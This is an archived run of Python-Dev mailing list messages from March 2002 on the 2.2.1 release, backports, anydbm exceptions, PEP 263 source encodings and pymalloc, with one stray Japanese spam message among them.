> "import webbrowser" will crash (because of the unset cmd which 
> is then delled), and test___all__ does an import of webbrowser.

Well, the "del cmd" doesn't exist on the release22-maint branch.

Unless I'm missing something.

Cheers,
M.



From mwh@python.net  Sun Mar 17 15:57:09 2002
From: mwh@python.net (Michael Hudson)
Date: 17 Mar 2002 15:57:09 +0000
Subject: [Python-Dev] Re: [Python-checkins] CVS: python/dist/src/Lib/test  test_largefile.py,1.12,1.12.6.1
In-Reply-To: Tim Peters's message of "Sat, 16 Mar 2002 16:12:14 -0500"
References: <LNBBLJKPBEHFEDALKOLCKECBOFAA.tim.one@comcast.net>
Message-ID: <2mhenfp4q2.fsf@starship.python.net>

Tim Peters <tim.one@comcast.net> writes:

> > Modified Files:
> >       Tag: release22-maint
> > 	test_largefile.py
> > Log Message:
> > Backport Tim's work on getting file.truncate working better on Win32.
> 
> I think this is questionable for a bugfix release, and that's why I didn't
> mark it "bugfix candidate".  It definitely changes behavior in "very large
> file position" cases, and I have no idea whether the current implementation
> exactly reproduces the old one in all "normal" cases (the semantics of the
> old MS _chsize() aren't documented by MS in sufficient detail to say).

OK, I've backed it out again (after confusing cvs somewhat).

Sorry for the mis-read.

Cheers,
M.

-- 
                    >> REVIEW OF THE YEAR, 2000 <<
                   It was shit. Give us another one.
                          -- NTK Know, 2000-12-29, http://www.ntk.net/


From info@yaritomo.net  Sun Mar 17 17:02:12 2002
From: info@yaritomo.net (rouge)
Date: Mon, 18 Mar 2002 02:02:12 +0900
Subject: [Python-Dev] !=?ISO-2022-JP?B?GyRCOS05cBsoQg==?=!
Message-ID: <0318102020212.482@oemcomputer>

$B$3$l$O9-9p$G$9(B

$B!!#1#8:P0J>e$NJ}$X$N!"$40FFb%a!<%k$G$9!#(B
$B!!6=L#$N$"$kJ}$O!"0J2<$N%Z!<%8$r$4Mw2<$5$$!#(B

$B!!(Bhttp://www.neoxanadu.net/~a_rouge/

$B!!(B
$B9-9pDs6!$r4uK>$5$l$J$$J}$N0U;VI=<($NJ}K!(B

$B$=$N#1!%2?$b$7$J$$!#!J%a!<%kAw?.$O0lEY8B$j$G$9!#:#8e$OAw?.$5$l$^$;$s!#!K(B
$B$=$N#2!%0J2<$h$j$*CN$i$;2<$5$$!#!JJ#?tAw?.$5$l$?>l9g$b0J2<$h$j2DG=$G$9!#!K(B

$B!!(Bhttp://www.neoxanadu.net/~a_rouge/refuze.html


$B:#8e$b!"9-9pDs6!$r4uK>$9$kJ}$N0U;VI=<($NJ}K!(B

$B$=$N#1!%:9=P?M$X!"$=$N$^$^JV?.$9$k!#(B



$B!!(B----------------------------------------------
 SMITH PROVIDE Co,.Ltd 2908 meka st. Ho%&#;,$##&;:



$B!!(B






From mwh@python.net  Sun Mar 17 18:01:11 2002
From: mwh@python.net (Michael Hudson)
Date: 17 Mar 2002 18:01:11 +0000
Subject: [Python-Dev] Re: [Python-checkins] CVS: python/dist/src/Lib tempfile.py,1.34,1.34.4.1
In-Reply-To: Michael Hudson's message of "Sun, 17 Mar 2002 09:54:34 -0800"
References: <E16mera-0003gq-00@usw-pr-cvs1.sourceforge.net>
Message-ID: <2md6y3cbvc.fsf@starship.python.net>

Michael Hudson <mwh@users.sourceforge.net> writes:

> [and]
> 
> New TemporaryFile implementation for Windows:  this doesn't need a
> TemproraryFileWrapper wrapper anymore, and should be immune from the
> problem that a temp file inherited by a spawned process caused an
> attempt to close the temp file in the spawning process to blow
> up (the unlink in TemporaryFileWrapper.close() blew up with a
> "Permission denied" error because, despite that the temp file got
> closed in the spawning process, the spawned process still had it open
> by virtue of C-level file descriptor inheritance).  In context,
> that bug took days to figure out <wink/sigh>.
> 

Balls.  This depends on revision 2.219 of posixmodule.c:

Expose more MS WIndows constants usable w/ low-level os.open().

Which looks decidely feature-ish to me.

I'll back out this change to tempfile.py, but am open to persuasion
that this is a sufficiently important bugfix to include it and the
changes to posixmodule.c instead.

Cheers,
M.

-- 
  I have a feeling that any simple problem can be made arbitrarily
  difficult by imposing a suitably heavy administrative process
  around the development.       -- Joe Armstrong, comp.lang.functional


From tim.one@comcast.net  Sun Mar 17 18:16:19 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 17 Mar 2002 13:16:19 -0500
Subject: [Python-Dev] Re: [Python-checkins] CVS: python/dist/src/Lib
 tempfile.py,1.34,1.34.4.1
In-Reply-To: <2md6y3cbvc.fsf@starship.python.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEDPOFAA.tim.one@comcast.net>

[Michael Hudson, on assorted tempfile.py fixes]
> Balls.  This depends on revision 2.219 of posixmodule.c:
>
> Expose more MS WIndows constants usable w/ low-level os.open().
>
> Which looks decidely feature-ish to me.

Yup.

> I'll back out this change to tempfile.py, but am open to persuasion
> that this is a sufficiently important bugfix to include it and the
> changes to posixmodule.c instead.

I'd back it out.  There's more to consider here than just whether "it's a
bug":  like also the Windows file.truncate() change, this replaced the
entire implementation of a feature with a new one using a different
approach.  I've got little fear of doing that for 2.3, because the new
implementation(s) will go thru alpha, beta, etc releases before becoming
"real".  For a bugfix release it's much riskier, as there's no way I can
swear that, e.g., there's no quirk on Windows ME (or XP, or ...) that might
cause the new implementation(s) to fail badly there.



From mwh@python.net  Sun Mar 17 21:01:16 2002
From: mwh@python.net (Michael Hudson)
Date: 17 Mar 2002 21:01:16 +0000
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: Michael Hudson's message of "14 Mar 2002 17:40:22 +0000"
References: <2m663z120p.fsf@starship.python.net>
Message-ID: <2mvgbuvrhf.fsf@starship.python.net>

Michael Hudson <mwh@python.net> writes:

> I'd like to put out 2.2.1 release candidate 1 early next week
> (i.e. Monday, if possible), with the intent of releasing 2.2.1 a week
> later.

Things are looking as if this might actually happen.

These are the bugs in the 2.2.1 category on sf:

    529146 ICGlue byte alignment issue             jackjansen
    529104 broken error handling in unicode-escape lemburg
    528132 classmethod().__get__() segfault        gvanrossum
    530285 redefining SRE_CODE in Modules/sre.h    effbot
    513033 unsafe call to PyThreadState_Swap       gvanrossum
    505587 Fix hardlink against NavServices        jackjansen

The top three are the blockers, but fixes/comments for any are
appreciated.

Patches in need of attention:

521478 mailbox / fromline matching              bwarsaw
523944 imputil.py can't import "\r\n" .py files gstein
525763minor fix for regen on IRIX               jackjansen

None of these are blockers.

Cheers,
M.

-- 
  MARVIN:  Do you want me to sit in a corner and rust, or just fall
           apart where I'm standing?
                    -- The Hitch-Hikers Guide to the Galaxy, Episode 2


From niemeyer@conectiva.com  Sun Mar 17 16:25:29 2002
From: niemeyer@conectiva.com (Gustavo Niemeyer)
Date: Sun, 17 Mar 2002 13:25:29 -0300
Subject: [Python-Dev] License question
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMECOOFAA.tim.one@comcast.net>
References: <20020316230511.B2885@ibook> <LNBBLJKPBEHFEDALKOLCMECOOFAA.tim.one@comcast.net>
Message-ID: <20020317132529.A1353@ibook.distro.conectiva>

> The Python license gives you the right to prepare derivative works and to
> license them under any terms you like, but it does not give you the right to
> *re*license those parts of your derivative work that you got from Python.
> The Python license continues to apply to those:
> 
>     provided, however, that PSF's License Agreement and PSF's notice of
>     copyright, i.e., "Copyright (c) 2001 Python Software Foundation; All
>     Rights Reserved" are retained in ... any derivative version prepared
>     by Licensee.

Thanks Tim. I'll probably license it completely under Python's license,
since I'd like to see this code in the standard library some day.

> Ditto for the other licenses the PSF license is stacked on top of.  So you
> have to retain the file full of licenses and copyrights that came with your
> Python distribution.  They don't apply to the original portions of your
> work, just to the portions of your work that came from the Python
> distribution.
> 
> Note also:
> 
>     3. In the event Licensee prepares a derivative work that is based
>     on or incorporates Python 2.2 or any part thereof, and wants to make
>     the derivative work available to others as provided herein, then
>     Licensee hereby agrees to include in any such work a brief summary
>     of the changes made to Python 2.2.

I was already mentioning the origin of the code in the portions I based
on fileobject.c. I'll also include a copyright notice in the header,
mentioning those parts are copyrighted by PSF.

> This is to help us, you, and your users keep track of which parts of your
> work are bound by the Python license, and which are bound by the license you
> put on top of the stack.  Your work "as a whole" will be bound by your
> license too, but the Python license doesn't allow you to forbid others to
> reuse the Python *portions* of your work with the same freedom we let you
> use it.

Sure. It makes sense.

> So, copy over the license file, and write a brief blurb explaining which
> parts of the Python stuff is your original work.

I'll do the other way around, since my original work is more than what
I got from python. Anyway, since everything will be under Python's
license, it'll be easier.

Thank you for explaining.

-- 
Gustavo Niemeyer

[ 2AAC 7928 0FBF 0299 5EB5  60E2 2253 B29A 6664 3A0C ]


From tim.one@comcast.net  Mon Mar 18 01:05:52 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 17 Mar 2002 20:05:52 -0500
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: <2mvgbuvrhf.fsf@starship.python.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEFDOFAA.tim.one@comcast.net>

[Michael Hudson, quoting Michael Hudson]
>> I'd like to put out 2.2.1 release candidate 1 early next week
>> (i.e. Monday, if possible), with the intent of releasing 2.2.1 a week
>> later.

[Michael Hudson]
> Things are looking as if this might actually happen.

That would be good!  All of PythonLabs has all-day non-Python commitments
Tue-Thu, so if we can't polish this off Monday it may have to wait until
Friday.



From skip@pobox.com  Mon Mar 18 01:36:07 2002
From: skip@pobox.com (Skip Montanaro)
Date: Sun, 17 Mar 2002 19:36:07 -0600
Subject: [Python-Dev] questionable try/except in anydbm.py
Message-ID: <15509.17543.633634.967940@12-248-41-177.client.attbi.com>

I assigned bug 411881 to myself today and started looking through things to
at least try to whittle down the number of cases that need to be considered.
Almost immediately I came across this code in anydbm.py:

    try:
        class error(Exception):
            pass
    except (NameError, TypeError):
        error = "anydbm.error"

Is this sort of construct really necessary?  It doesn't seem that any other
exception definitions in the standard library fall back to string
exceptions.

Skip



From Anthony Baxter <anthony@ekit-inc.com>  Mon Mar 18 01:35:24 2002
From: Anthony Baxter <anthony@ekit-inc.com> (Anthony Baxter)
Date: Mon, 18 Mar 2002 12:35:24 +1100
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: Message from Guido van Rossum <guido@python.org>
 of "Fri, 15 Mar 2002 16:04:52 CDT." <200203152104.g2FL4qD04982@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <200203180135.g2I1ZOd05804@burswood.off.ekorp.com>

Those people using Mozilla might like to look at
http://www.mozilla.org/docs/end-user/keywords.html
I'd imagine that this would also work in recent NS6
versions.

Something like the following (from my bookmarks.html) 
makes life a bit more pleasant.

            <DT><A HREF="http://sourceforge.net/tracker/index.php?func=detail&ai
d=%s&group_id=5470&atid=105470" ADD_DATE="1004618410" LAST_VISIT="1004618419" LA
ST_MODIFIED="1004618560" SHORTCUTURL="pybug" LAST_CHARSET="ISO-8859-1">python bu
gs</A>
            <DT><A HREF="http://sourceforge.net/tracker/index.php?func=detail&ai
d=%s&group_id=5470&atid=305470" ADD_DATE="1004621697" LAST_MODIFIED="1004621744"
 SHORTCUTURL="pypatch" LAST_CHARSET="ISO-8859-1">pypatch</A>




From tim.one@comcast.net  Mon Mar 18 01:56:09 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 17 Mar 2002 20:56:09 -0500
Subject: [Python-Dev] questionable try/except in anydbm.py
In-Reply-To: <15509.17543.633634.967940@12-248-41-177.client.attbi.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEFGOFAA.tim.one@comcast.net>

[Skip Montanaro]
> I assigned bug 411881 to myself today and started looking through
> things to at least try to whittle down the number of cases that
> need to be considered.  Almost immediately I came across this code in
> anydbm.py:
>
>     try:
>         class error(Exception):
>             pass
>     except (NameError, TypeError):
>         error = "anydbm.error"
>
> Is this sort of construct really necessary?  It doesn't seem that
> any other exception definitions in the standard library fall back to
> string exceptions.

No, we've previously agreed that the Python library need not work with any
version of Python except the one it's released with.  There are developers
with a special interest in keeping a few specific libraries version-neutral,
but it's up to them to keep them that way.  You should feel free to get rid
of stuff like the above whenever you like.



From stephen@xemacs.org  Mon Mar 18 02:02:34 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 18 Mar 2002 11:02:34 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <m3r8mk7s91.fsf@mira.informatik.hu-berlin.de>
References: <20020316072459085.DDES.28894.t-mta1.odn.ne.jp@mta1.odn.ne.jp>
 <m3r8mk7s91.fsf@mira.informatik.hu-berlin.de>
Message-ID: <878z8qmy4l.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Martin" == Martin v Loewis <martin@v.loewis.de> writes:

    Martin> "SUZUKI Hisao" <suzuki@acm.org> writes:

    >> The PEP just makes use of codecs which happen to be there, only
    >> requiring that each name of them must match with that of Emacs,
    >> doesn't it?

    Martin> Correct. I think the IANA "preferred MIME name" for the
    Martin> encoding should be used everywhere; this reduces the need
    Martin> for aliases.

Emacs naming compatibility is of ambiguous value in the current form
of the PEP, since the cookie only applies to Unicode string literals.
The Emacs coding cookie applies to the whole file.  So this means that
to implement a Python mode that allows (eg) a hexl mode on ordinary
string literals but regular text mode on Unicode string literals,
Emacs must _ignore_ Python coding cookies!

True, the usual case is that programmers will find it convenient to
have both ordinary string literals and Unicode string literals decoded
to text in Emacs buffers.  In other words, this PEP serves to
perpetuate use of ordinary string literals in localized applications.

Probably more so than it encourages use of Unicode literals, IMO.  :-(

    Martin> Also, I'm in favour of exposing the system codecs (on
    Martin> Linux, Windows, and the Mac); if that is done, there may
    Martin> be no need to incorporate any additional codecs in the
    Martin> Python distribution.

XEmacs just did this on Windows; it was several man-months of work,
and required a new API.  If by "expose" you mean their APIs, then
there will need to be a set of Python codec wrappers for these, at
least.

    >> UTF-16 is typically 2/3 size to UTF-8 when many CJK chararcters
    >> are used (each of them are 3 bytes in UTF-8 and 2 bytes in
    >> UTF-16).

    Martin> While I see that this is a problem for arbitrary Japanese
    Martin> text,

Yes, but ordinary Japanese text is already like English: maybe three
bits of content in the byte.  There's a lot of saving to be gotten
from either explicit compression or compressing file systems.  Or
simply abolishing .doc files.<wink>

    Martin> I doubt you will find the 2/3 ratio for Python source code
    Martin> containing Japanese text in string literals and comments.

No, in fact it's more likely to be 3/2.

    Martin> For example, the parser currently uses fgets to get the
    Martin> next line of input.

Well, fgets should go away anyway.  Experience in XEmacs shows that
except for large (10^6 bytes or more) files, multiple layers of codecs
are not perceptible to users.  So if we implement phase 2 as "the
parser speaks UTF-8", then you glue on a UTF-16 codec at the front
which reads from the file, and the parser reads from a buffer which
contains UTF-8.

Applications where this overhead matters can use UTF-8 in their source
files, and the parser can use fgets to read from them.


-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From paul@svensson.org  Mon Mar 18 02:27:39 2002
From: paul@svensson.org (Paul Svensson)
Date: Sun, 17 Mar 2002 21:27:39 -0500 (EST)
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese
In-Reply-To: <878z8qmy4l.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <Pine.LNX.4.21.0203172109580.657-100000@familjen.svensson.org>

On 18 Mar 2002, Stephen J. Turnbull wrote:

>Emacs naming compatibility is of ambiguous value in the current form
>of the PEP, since the cookie only applies to Unicode string literals.
>The Emacs coding cookie applies to the whole file.  So this means that
>to implement a Python mode that allows (eg) a hexl mode on ordinary
>string literals but regular text mode on Unicode string literals,
>Emacs must _ignore_ Python coding cookies!

Since the proposal explicitly allows only encodings that are strict
supersets of ASCII, the whole file _is_ using (a subset of) the encoding
specified by the cookie.  So, if Emacs recognizes the cookie, it will allow
you to edit both code and unicode strings, as text.  If you need to put
non-ASCII data in regular strings, not using the specified encoding, then
write them as \xNN-escapes.

	/Paul




From guido@python.org  Mon Mar 18 02:45:57 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 17 Mar 2002 21:45:57 -0500
Subject: [Python-Dev] questionable try/except in anydbm.py
In-Reply-To: Your message of "Sun, 17 Mar 2002 19:36:07 CST."
 <15509.17543.633634.967940@12-248-41-177.client.attbi.com>
References: <15509.17543.633634.967940@12-248-41-177.client.attbi.com>
Message-ID: <200203180245.g2I2jvt18000@pcp742651pcs.reston01.va.comcast.net>

> I assigned bug 411881 to myself today and started looking through things to
> at least try to whittle down the number of cases that need to be considered.
> Almost immediately I came across this code in anydbm.py:
> 
>     try:
>         class error(Exception):
>             pass
>     except (NameError, TypeError):
>         error = "anydbm.error"
> 
> Is this sort of construct really necessary?  It doesn't seem that
> any other exception definitions in the standard library fall back to
> string exceptions.

This must hark back to the days when there was a command line option
(-X) to make all built-in exceptions string exceptions.  The last
release that supported this was 1.5.2.

So please get rid of it!

--Guido van Rossum (home page: http://www.python.org/~guido/)




From skip@pobox.com  Mon Mar 18 03:05:45 2002
From: skip@pobox.com (Skip Montanaro)
Date: Sun, 17 Mar 2002 21:05:45 -0600
Subject: [Python-Dev] test_anydbm.py
Message-ID: <15509.22921.663589.727703@12-248-41-177.client.attbi.com>

I just checked in test_anydbm.py to CVS.  I based it on test_dumbdbm.py.
It's only been run on Linux w/ bsddb as the underlying database.  I would
appreciate it if people using other platforms and database modules would try
it out.

Thanks,

Skip


From greg@cosc.canterbury.ac.nz  Mon Mar 18 05:29:41 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Mon, 18 Mar 2002 17:29:41 +1200 (NZST)
Subject: [Python-Dev] Idea - place to put string functions and consts
Message-ID: <200203180529.RAA27906@s454.cosc.canterbury.ac.nz>

I had an idea last night concerning what to do
with functions like string.join that don't quite
belong as methods of a string, plus constants
like string.uppercase etc.

Someone suggested making the os.* routines
class methods of 'file'. So how about making
these things class methods of 'str'?

e.g.

  mystring = str.join(["spam", "eggs"], ',')

reads quite nicely.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From tim.one@comcast.net  Mon Mar 18 06:05:58 2002
From: tim.one@comcast.net (Tim Peters)
Date: Mon, 18 Mar 2002 01:05:58 -0500
Subject: [Python-Dev] Re: Activating pymalloc
In-Reply-To: <4C99842BC5F6D411A6A000805FBBB19958DD8A@ge0057exch01.agere.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEGCOFAA.tim.one@comcast.net>

[The elusive Vladimir Marangozov]
> I am trying to follow remotely python-dev from time to time
> but I can't be very active as I used to be. Sorry about that.

That's OK -- we all get old and useless at our own private pace <wink>.

> ...
> 1. The docs are not perfect and should be updated. Especially
>    what Tim mentioned -- adding a table summarizing the APIs
>    would be helpful. My original intention for the docs was to
>    strip off some internal details that the usual extension
>    writer doesn't have to know about. But Guido is right that
>    the comments in the .h files are the reference and they are
>    probably much clearer.

They were better at the start, too:  all the explanatory text wound up
getting spread out over a seemingly random collection of .h and .c files,
and there's no single "memory mgmt" section in the manuals to tie it all
together either.  That all seems fixable, though.

> 2. I agree that the macro chain (especially on the pymalloc side)
>    is not so useful at the end, so maybe all PyCore_ macros can be
>    removed. The function names of the allocator can be cast in
>    stone and then _THIS_xxx in obmalloc.c replaced with them.

Have you looked at Neil's patch?

> 3. I do not agree however that one would want to explicitly call
>    pymalloc. Access to the object allocator should be done through
>    PyObject_xxx, and to the memory allocator through PyMem_.

I'm not sure whether this is a real disagreement, or about what words mean.
There are some cases in the core now where we probably should be using
obmalloc.c for "raw" memory.  PyMem_XXX continues to refer to platform
malloc etc (unless an adventurous soul redefineds them); while PyObject_XXX
seem *conceptually* unsuited to "raw" memory.  Maybe that's an error in my
conception, though <wink>.

> 4. Originally, I excluded PyMem_ to use pymalloc because profiling
>    showed that more than 90% of all small allocations are object
>    allocations. So non-object allocations were either big (in which
>    case pymalloc is just overhead), either accounted for a very
>    small percentage which can be neglected. This is the reason why
>    pymalloc became obmalloc. Practical reasons.

Understood, and all that is probably still qualitatively valid (the specific
cutoff points have probably shifted, since various popular Python objects
are larger now).  The most frightening thing to me about ever switching
PyMem_XXX away from the platform allocator are thread issues:  I want to
retain obmalloc's expoitation of the GIL, but people currently have no fear
of using PyMem_XXX when not holding the GIL.

> 5. About breaking extensions -- in early versions of pymalloc I had
>    debugging support built-in which basically detected when a block
>    allocated with malloc was free'd or realloc'd with pymalloc.
>    I used this at the time to cleanup the baseline and the standard
>    extensions shipped with 2.0 from mixed API usage. After that was
>    done, though, I removed this as I thought that it won't be of
>    much help. Apparently, I was wrong and perhaps this debugging
>    functionality would be helpful. Still, the way to go is to fix
>    the 'faulty' modules and document better the concepts. Yes, 1.5.2
>    would be the primary victims here but the memory work was done
>    post 1.5.2 and people can't stop Python from evolving.

Heh.  They've sure tried <wink>.

> ...
> More generally, as a historical recap, the goal originally was to
> introduce the core concepts on Python heap & Python object heap
> through the APIs which was a precondition for any python-specific
> allocator work. Once this was done, the integration of a python
> malloc had to be as seemless as possible, the switching to
> its use as well, and this is probably where some of the macro
> layers were introabused (in my eyes, not a big deal anyway). So look
> at it on the bright side -- the goals are now almost achieved :-)

Please don't take anything here as denigrating your work!  You left this all
in much better shape than you found it, and it's appreciated.  BTW, over the
last year we've seen several real-life Python programs that managed to
provoke Linux flavors into quadratic-time free() behavior.  In all such
cases, using pymalloc made the problem go away, and provided enormous
speedups.  Lots of people have reported modest speedups in non-pathological
programs too (except on OS/2 EMX, or something like that).

> Anything else I can help you with?

Well, there are several hundred open bugs and patches on SourceForge.  If
you don't want to figure out how threads *really* work on HP-UX, I guess you
can do for us what all the semi-retired do:  let us blame you for everything
someone doesn't like <wink>.

just-leave-your-kidneys-at-the-door-on-your-way-out-ly y'rs  - tim



From stephen@xemacs.org  Mon Mar 18 06:05:35 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 18 Mar 2002 15:05:35 +0900
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: <200203160358.g2G3wkV06256@pcp742651pcs.reston01.va.comcast.net>
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp>
 <3C8F236F.2512966F@lemburg.com>
 <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net>
 <3C922ABC.5E5718DE@lemburg.com>
 <878z8tocsl.fsf@tleepslib.sk.tsukuba.ac.jp>
 <200203151939.g2FJd6N04542@pcp742651pcs.reston01.va.comcast.net>
 <87pu25mc5z.fsf@tleepslib.sk.tsukuba.ac.jp>
 <200203160358.g2G3wkV06256@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <87663ul8b4.fsf@tleepslib.sk.tsukuba.ac.jp>

Taken out of order.

>>>>> "Guido" =3D=3D Guido van Rossum <guido@python.org> writes:

    Guido> Same here.  If you still think it's necessary, maybe you
    Guido> can try to express exactly when you would want a program to
    Guido> be declared illegal because of expected problems in phase
    Guido> 2?

I guess my point is that I don't want to try to do that, because I'm
pretty sure I'd get it wrong for some common natural language or
platform encoding I have no specific knowledge of.  Even the small
amount of detail in the PEP seems too much, to me.  I think it's much
better to say "The parser accepts programs encoded in unicode.  We
provide some hooks to help you get from encodings convenient for your
environment to Unicode, and some sample implementations of things to
hang on the hooks.  But if there are problems with non-unicode files,
they're your problems."

I remain unconvinced that this PEP is as good as it could be, but I
don't have time to provide a full counter-proposal.  It will provide
the benefits claimed for the people it's targeted to.  However,

  o There may be some audiences who are poorly served (Mr. Suzuki).
  o I think it will definitely tend to encourage use of national/
    platform encodings rather than UTF-8 in source.  It may be hard to
    get this sun to set.
  o I think it makes it hard to implement helper tools (eg python-mode).
  o I think it discourages a clean separation of the parser from the
    codecs (see below for examples).

That said, it's clearly better than the current situation.  Since the
people who will be implementing seem to be unconvinced by my
arguments, it's probably best to go ahead with it.  I'll try to follow
implementation discussions and certainly would respond if asked.

    >> Mr. Suzuki's friends.  People who use UTF-16 strings in other
    >> applications (eg Java), but otherwise are happy with English.

    Guido> I think even Mr. Suzuki isn't thinking of using UTF-16 in
    Guido> his Unicode literals.  He currently sets UTF-16 as the
    Guido> default encoding for data that he presumably reads from a
    Guido> file.

Well, I'm not a native Japanese.  But I have often edited English
strings that occur in swaths of unrecognizable octets that would be
Japanese if I had the terminal encoding set correctly.  I have also
cut and pasted encoded Japanese into "binary" buffers.

And how is he going to use regexps or formatting sugar without literal
UTF-16 strings?

    Guido> The other interpretation (that they would use UTF-16 inside
    Guido> u"" and ASCII elsewhere) is just as insane, since no person
    Guido> implementing a text editor with any form of encoding
    Guido> support would be insane enough support such a mixed-mode
    Guido> encoding.

"I resemble that remark."

Seriously, that is _exactly_ what X?Emacs/Mule does as implementation
of multilingual buffers, since it's basically modeless ISO 2022.

Currently it does not get display right for the interpretation I'm
suggesting for Python strings, but it wouldn't be hard.  However, that
would require that Emacs _ignore_ the python coding cookie, and then
turn around and have python-mode do the work.  (This isn't a big deal,
but the Python interpreter will implicitly be doing something
similar---you won't be able to apply a standard codec and get what you
want.)

    >> Are you going to deprecate the practice of putting KOI8-R into
    >> ordinary strings?

[example of how it works if you just let it work snipped]

    Guido> I think this will actually work.

Right, as long as by "work" you mean "it's formally undefined but
8-bit clean stuff just passes through."  The problem is that people
often do unclean things, like type ALT 1 8 5 to insert an 0xB9 octet,
which the editor assumes is intended to be =B9 in a Latin-2 locale.
However, if that file (which the user knows contains no Latin-2 at
all) is read in a Latin-2 locale, and translated to Unicode, the byte
value changes (in fact, it's no longer a byte value).  What's a parser
to do?<wink>

This can be made safe by not decoding the contents of ordinary string
literals, but that requires that the parser has to do the lexing, you
can't delegate it to a general-purpose codec.

    Guido> But the treatment of k under phase 2 will be, um,
    Guido> interesting, and I'm not sure what it should do!!!

Bingo.  And files which until that point embedded arbitrary binary
(ie, not representing characters) stop working, quite possibly.  (This
is a natural hack to anybody familiar with Emacs/Mule.)

    Guido> Since in phase 2 the entire file will be decoded from
    Guido> KOI8-R to Unicode before it's parsed, maybe the best thing
    Guido> would be to encode 8-bit string literals back using KOI8-R
    Guido> (in general, the encoding given in the encoding cookie).

This probably mostly works, based on mule experience.  But it requires
the parser to have carnal knowledge of coding systems.  Isn't it
preferable to insist on UTF-8 here, since it's simply changing the
representation from one or two bytes back to constant-width one,
without changing values?

Also, you'd have to prohibit encodings using ISO 2022 control sequences,
as there are always many legal ways to encode the same text (there is
no requirement that a mode-switching sequence actually be followed by
any text before switching to a different mode), and there's no way to
distinguish except to record the original input.

You'd also have to document this use for the codecs, because otherwise
somebody might do something really cool like make the codecs produce
canonical Unicode (ie, either maximally decomposed or maximally
composed representations).  This would also make reversal ambiguous
for any encoding that provides both composed and decomposed forms of
characters.


--=20
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac=
.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JA=
PAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From thomas.heller@ion-tof.com  Mon Mar 18 07:41:35 2002
From: thomas.heller@ion-tof.com (Thomas Heller)
Date: Mon, 18 Mar 2002 08:41:35 +0100
Subject: [Python-Dev] Idea - place to put string functions and consts
References: <200203180529.RAA27906@s454.cosc.canterbury.ac.nz>
Message-ID: <029601c1ce50$551416d0$e000a8c0@thomasnotebook>

From: "Greg Ewing" <greg@cosc.canterbury.ac.nz>
> I had an idea last night concerning what to do
> with functions like string.join that don't quite
> belong as methods of a string, plus constants
> like string.uppercase etc.
> 
> Someone suggested making the os.* routines
> class methods of 'file'. So how about making
> these things class methods of 'str'?
> 
> e.g.
> 
>   mystring = str.join(["spam", "eggs"], ',')
> 
> reads quite nicely.

Hmm. Already implemented?

C:\>c:\python22\python.exe
Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> "the time machine strikes again?".split()
['the', 'time', 'machine', 'strikes', 'again?']
>>> str.split("the time machine strikes again?")
['the', 'time', 'machine', 'strikes', 'again?']
>>> str.join(",", ["spam", "eggs"])
'spam,eggs'
>>>

Thomas



From martin@v.loewis.de  Mon Mar 18 07:32:36 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 18 Mar 2002 08:32:36 +0100
Subject: [Python-Dev] questionable try/except in anydbm.py
In-Reply-To: <15509.17543.633634.967940@12-248-41-177.client.attbi.com>
References: <15509.17543.633634.967940@12-248-41-177.client.attbi.com>
Message-ID: <m3wuwamiuj.fsf@mira.informatik.hu-berlin.de>

Skip Montanaro <skip@pobox.com> writes:

>     try:
>         class error(Exception):
>             pass
>     except (NameError, TypeError):
>         error = "anydbm.error"
> 
> Is this sort of construct really necessary?

Please simplify. If that ever causes an exception, I'd prefer to know
about it.

Regards,
Martin


From martin@v.loewis.de  Mon Mar 18 08:04:05 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 18 Mar 2002 09:04:05 +0100
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: <87663ul8b4.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp>
 <3C8F236F.2512966F@lemburg.com>
 <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net>
 <3C922ABC.5E5718DE@lemburg.com>
 <878z8tocsl.fsf@tleepslib.sk.tsukuba.ac.jp>
 <200203151939.g2FJd6N04542@pcp742651pcs.reston01.va.comcast.net>
 <87pu25mc5z.fsf@tleepslib.sk.tsukuba.ac.jp>
 <200203160358.g2G3wkV06256@pcp742651pcs.reston01.va.comcast.net>
 <87663ul8b4.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <m3r8mimhe2.fsf@mira.informatik.hu-berlin.de>

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

